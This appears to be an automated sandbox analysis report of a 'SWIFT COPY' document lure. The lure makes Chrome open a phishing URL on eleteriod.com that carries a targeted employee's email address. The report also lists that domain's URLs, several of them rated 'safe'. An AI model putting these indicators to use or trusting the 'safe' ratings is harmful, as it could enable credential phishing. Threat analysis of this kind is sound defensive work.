Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://l6agz47874.eleteriod.com/k3hof49809/#dG9kZC5mcmFuY2VAYWlyYm9ybmVteC5jb20=			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2176 --field-trial-handle=2012,i,11068479101874162425,8933108518678558561,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior

Source: Airbornemx SWIFT COPY _ Wednesday May 2024..LNK.0.dr	LNK file: ..\..\..\..\..\Desktop\Airbornemx SWIFT COPY _ Wednesday May 2024..rtf
Source: Google Drive.lnk.5.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.5.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.5.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.5.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.5.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.5.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: Element design set.dotx.0.dr	Initial sample: OLE zip file path = word/glossary/settings.xml
Source: Element design set.dotx.0.dr	Initial sample: OLE zip file path = word/glossary/_rels/document.xml.rels
Source: Element design set.dotx.0.dr	Initial sample: OLE zip file path = word/glossary/document.xml
Source: Element design set.dotx.0.dr	Initial sample: OLE zip file path = word/glossary/fontTable.xml
Source: Element design set.dotx.0.dr	Initial sample: OLE zip file path = word/glossary/webSettings.xml
Source: Element design set.dotx.0.dr	Initial sample: OLE zip file path = word/glossary/styles.xml
Source: Element design set.dotx.0.dr	Initial sample: OLE zip file path = customXml/itemProps2.xml
Source: Element design set.dotx.0.dr	Initial sample: OLE zip file path = customXml/item2.xml
Source: Element design set.dotx.0.dr	Initial sample: OLE zip file path = customXml/_rels/item2.xml.rels
Source: Element design set.dotx.0.dr	Initial sample: OLE zip file path = [trash]/0000.dat
Source: Element design set.dotx.0.dr	Initial sample: OLE zip file path = docProps/custom.xml
Source: Equations.dotx.0.dr	Initial sample: OLE zip file path = word/glossary/document.xml
Source: Equations.dotx.0.dr	Initial sample: OLE zip file path = word/glossary/settings.xml
Source: Equations.dotx.0.dr	Initial sample: OLE zip file path = word/glossary/_rels/document.xml.rels
Source: Equations.dotx.0.dr	Initial sample: OLE zip file path = customXml/itemProps2.xml
Source: Equations.dotx.0.dr	Initial sample: OLE zip file path = docProps/custom.xml
Source: Equations.dotx.0.dr	Initial sample: OLE zip file path = customXml/_rels/item2.xml.rels
Source: Equations.dotx.0.dr	Initial sample: OLE zip file path = customXml/item2.xml
Source: Equations.dotx.0.dr	Initial sample: OLE zip file path = word/glossary/webSettings.xml
Source: Equations.dotx.0.dr	Initial sample: OLE zip file path = [trash]/0000.dat
Source: Equations.dotx.0.dr	Initial sample: OLE zip file path = word/glossary/styles.xml
Source: Equations.dotx.0.dr	Initial sample: OLE zip file path = word/glossary/stylesWithEffects.xml
Source: Equations.dotx.0.dr	Initial sample: OLE zip file path = word/glossary/fontTable.xml
Source: Insight design set.dotx.0.dr	Initial sample: OLE zip file path = word/media/image2.jpg
Source: Insight design set.dotx.0.dr	Initial sample: OLE zip file path = word/glossary/settings.xml
Source: Insight design set.dotx.0.dr	Initial sample: OLE zip file path = word/glossary/document.xml
Source: Insight design set.dotx.0.dr	Initial sample: OLE zip file path = word/glossary/_rels/document.xml.rels
Source: Insight design set.dotx.0.dr	Initial sample: OLE zip file path = word/glossary/styles.xml
Source: Insight design set.dotx.0.dr	Initial sample: OLE zip file path = word/glossary/webSettings.xml
Source: Insight design set.dotx.0.dr	Initial sample: OLE zip file path = word/glossary/fontTable.xml
Source: Insight design set.dotx.0.dr	Initial sample: OLE zip file path = word/media/image10.jpeg
Source: Insight design set.dotx.0.dr	Initial sample: OLE zip file path = customXml/itemProps2.xml
Source: Insight design set.dotx.0.dr	Initial sample: OLE zip file path = customXml/item2.xml
Source: Insight design set.dotx.0.dr	Initial sample: OLE zip file path = customXml/_rels/item2.xml.rels
Source: Insight design set.dotx.0.dr	Initial sample: OLE zip file path = [trash]/0000.dat
Source: Insight design set.dotx.0.dr	Initial sample: OLE zip file path = docProps/custom.xml
Source: Text Sidebar (Annual Report Red and Black design).docx.0.dr	Initial sample: OLE zip file path = word/theme/_rels/theme1.xml.rels
Source: Text Sidebar (Annual Report Red and Black design).docx.0.dr	Initial sample: OLE zip file path = word/glossary/settings.xml
Source: Text Sidebar (Annual Report Red and Black design).docx.0.dr	Initial sample: OLE zip file path = word/glossary/document.xml
Source: Text Sidebar (Annual Report Red and Black design).docx.0.dr	Initial sample: OLE zip file path = word/glossary/_rels/document.xml.rels
Source: Text Sidebar (Annual Report Red and Black design).docx.0.dr	Initial sample: OLE zip file path = word/_rels/settings.xml.rels
Source: Text Sidebar (Annual Report Red and Black design).docx.0.dr	Initial sample: OLE zip file path = word/glossary/webSettings.xml
Source: Text Sidebar (Annual Report Red and Black design).docx.0.dr	Initial sample: OLE zip file path = word/glossary/fontTable.xml
Source: Text Sidebar (Annual Report Red and Black design).docx.0.dr	Initial sample: OLE zip file path = word/glossary/styles.xml
Source: Text Sidebar (Annual Report Red and Black design).docx.0.dr	Initial sample: OLE zip file path = word/glossary/stylesWithEffects.xml
Source: Text Sidebar (Annual Report Red and Black design).docx.0.dr	Initial sample: OLE zip file path = customXml/item2.xml
Source: Text Sidebar (Annual Report Red and Black design).docx.0.dr	Initial sample: OLE zip file path = customXml/_rels/item2.xml.rels
Source: Text Sidebar (Annual Report Red and Black design).docx.0.dr	Initial sample: OLE zip file path = customXml/itemProps3.xml
Source: Text Sidebar (Annual Report Red and Black design).docx.0.dr	Initial sample: OLE zip file path = customXml/item3.xml
Source: Text Sidebar (Annual Report Red and Black design).docx.0.dr	Initial sample: OLE zip file path = customXml/itemProps2.xml
Source: Text Sidebar (Annual Report Red and Black design).docx.0.dr	Initial sample: OLE zip file path = customXml/_rels/item3.xml.rels
Source: Text Sidebar (Annual Report Red and Black design).docx.0.dr	Initial sample: OLE zip file path = [trash]/0000.dat
Source: Text Sidebar (Annual Report Red and Black design).docx.0.dr	Initial sample: OLE zip file path = docProps/custom.xml

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE

Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\Common

Jump to behavior

Source: Element design set.dotx.0.dr

Initial sample: OLE indicators vbamacros = False

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk			Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE

Process information queried: ProcessInformation

Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Scripting	1 Process Injection	1 Masquerading	OS Credential Dumping	1 Process Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Registry Run Keys / Startup Folder	1 Registry Run Keys / Startup Folder	1 Process Injection	LSASS Memory	1 File and Directory Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 Extra Window Memory Injection	1 Extra Window Memory Injection	Security Account Manager	1 System Information Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

⊘No Antivirus matches

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label	Link
https://code.jquery.com/jquery-3.6.0.min.js	0%	URL Reputation	safe
https://cdn.socket.io/4.6.0/socket.io.min.js	0%	URL Reputation	safe
https://l6agz47874.eleteriod.com/ophIsbkVflkPH6ucNNqWgQgh74rwHxeV0m3bqXIY45140	0%	Avira URL Cloud	safe
https://l6agz47874.eleteriod.com/web8socket/socket.io/?type=User&appnum=1&EIO=4&transport=websocket	0%	Avira URL Cloud	safe
https://l6agz47874.eleteriod.com/nmZPXExYNWLex4mM7631aNGhsiAsiJXNjNRAer	0%	Avira URL Cloud	safe
https://l6agz47874.eleteriod.com/cdHTrgIfxVnMGL3mur53GZppEX78Gw6Ke7xoztQTkl93	0%	Avira URL Cloud	safe
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=887eb68febf4728a	0%	Avira URL Cloud	safe
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/pat/887eb68febf4728a/1716400905710/4539064854afb4f32570c5bc254e9c2c21c56b69a3fe49046984c2bf6f485953/Gi_dQDPtKhTCYfB	0%	Avira URL Cloud	safe
https://l6agz47874.eleteriod.com/cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js	0%	Avira URL Cloud	safe
https://l6agz47874.eleteriod.com/56P6RmVW07q5q2IzmAMROCmNGghm8kh7E6A89106	0%	Avira URL Cloud	safe
https://l6agz47874.eleteriod.com/favicon.ico	0%	Avira URL Cloud	safe
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/flow/ov1/1805048405:1716398150:X45MG1wplxtOLBIWwajWeE9aw9tmayvdMiPEFXoWqXM/887eb68febf4728a/60ba1c6e58abf92	0%	Avira URL Cloud	safe
https://l6agz47874.eleteriod.com/wx16mHgG3zIkcRUoCPQGlNSI17mnjc9bKeDSCBaBsqf6F90180	0%	Avira URL Cloud	safe
https://challenges.cloudflare.com/turnstile/v0/b/695da7821231/api.js	0%	Avira URL Cloud	safe
https://l6agz47874.eleteriod.com/ijOG38jlE3Csa6VPdagQNh1ZGRw9wxNGNrENQrVC1wpG35UrCP3956170	0%	Avira URL Cloud	safe
https://l6agz47874.eleteriod.com/aberie6jZkbpqVFEef25	0%	Avira URL Cloud	safe
https://l6agz47874.eleteriod.com/uvQfEFbBsA1PWjqjC2AsB3Sf3dRFflrh48dP0d45iW8WDARjIzdLtY2l8Xc5J58nzR6zokJzgh260	0%	Avira URL Cloud	safe
https://l6agz47874.eleteriod.com/k3hof49809/?NYtodd.france@airbornemx.com	0%	Avira URL Cloud	safe
https://l6agz47874.eleteriod.com/ghIwflouldIy5KfULABLPvrbjLWsGG8mn1W21fyM416lcWoJkBUvXYak5v3FPkLDoef203	0%	Avira URL Cloud	safe
https://l6agz47874.eleteriod.com/90FwFNCSlKcg1gKnc9avIcdQUX4h1cyz71	0%	Avira URL Cloud	safe
https://l6agz47874.eleteriod.com/mnE9XqQd7cwqeoHDOHNYdiJtyPkloVeKQZ2voYzCFSgjKIkn2oSmCsuv216	0%	Avira URL Cloud	safe
https://l6agz47874.eleteriod.com/k3hof49809/	0%	Avira URL Cloud	safe
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/i/887eb68febf4728a/1716400905715/yORtcSm8PD7IuNp	0%	Avira URL Cloud	safe
https://www.google.com/recaptcha/api.js	0%	Avira URL Cloud	safe
https://l6agz47874.eleteriod.com/12GxD1xKYiaDaUT560Micgpqr50	0%	Avira URL Cloud	safe
https://l6agz47874.eleteriod.com/qx5mRFu84Dkooz0S7iCXX5u3ULbpS6gxNUAos30PWFpXi1HB7RPBsgb	0%	Avira URL Cloud	safe
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/cmg/1/wh0E0SXYnx6pTBdJW%2Fl926I%2BPRUplRdtQz3K9lHXs%2Fs%3D	0%	Avira URL Cloud	safe
https://l6agz47874.eleteriod.com/12HIw9eOWu0absr2Ad26720	0%	Avira URL Cloud	safe
